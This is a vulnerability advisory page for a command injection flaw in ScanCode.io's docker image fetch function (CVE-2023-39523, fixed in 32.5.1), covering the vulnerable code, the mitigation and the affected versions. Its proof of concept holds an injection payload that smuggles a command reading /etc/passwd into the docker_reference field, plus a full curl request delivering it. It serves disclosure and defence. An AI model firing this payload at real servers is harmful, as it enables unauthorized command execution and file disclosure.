ScanCode.io command injection in docker image fetch process
Command Injection in docker fetch process
Summary
A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.
Details
In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.
def fetch_docker_image(docker_reference, to=None):
"""
code snipped ....
"""
platform_args = []
platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed
"""
code snipped...
"""
However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.
def get_docker_image_platform(docker_reference):
"""
Return a platform mapping of a docker reference.
If there are more than one, return the first one by default.
"""
skopeo_executable = _get_skopeo_location()
"""
Constructing a shell command with user controlled variable `docker_reference`
"""
cmd = (
f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
f"{docker_reference}"
)
logger.info(f"Fetching image os/arch data: {cmd}")
exitcode, output = pipes.run_command(cmd) # Executing command
logger.info(output)
if exitcode != 0:
raise FetchDockerImageError(output)
A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.
PoC
-
Create a new project with following input
docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwdin the filed Download URLs
-
Check docker logs to see the command execution

curl -i -s -k -X $'POST' \
-H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
-b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
--data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
$'http://localhost/project/add/'
Mitigations
The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.
Tested on:
- Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]
- OS: Ubuntu Linux Kernel 5.19.0
References [1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | scancodeio | < 32.5.1 | 32.5.1 |
References
- https://github.com/nexB/scancode.io/security/advisories/GHSA-2ggp-cmvm-f62f
- https://nvd.nist.gov/vuln/detail/CVE-2023-39523
- https://github.com/nexB/scancode.io/commit/07ec0de1964b14bf085a1c9a27ece2b61ab6105c
- https://github.com/nexB/scancode.io
- https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185
- https://github.com/nexB/scancode.io/releases/tag/v32.5.1
- https://pypi.org/project/scancodeio
- https://github.com/advisories/GHSA-2ggp-cmvm-f62f
- CVSS vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H- Weakness (CWE)
CWE-77- Platform
- Python (PyPI)
- Package
scancodeio- Disclosed
- 09.08.2023
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1904 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-2ggp-cmvm-f62f - CC BY 4.0
Vulnerability history: scancodeio
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 08.2023 08.2023
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Medium 2
Disclosures per year
- 2023: 2
- 2024: 0
- 2025: 0
- 2026: 0
-
ScanCode.io command injection in docker image fetch process this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.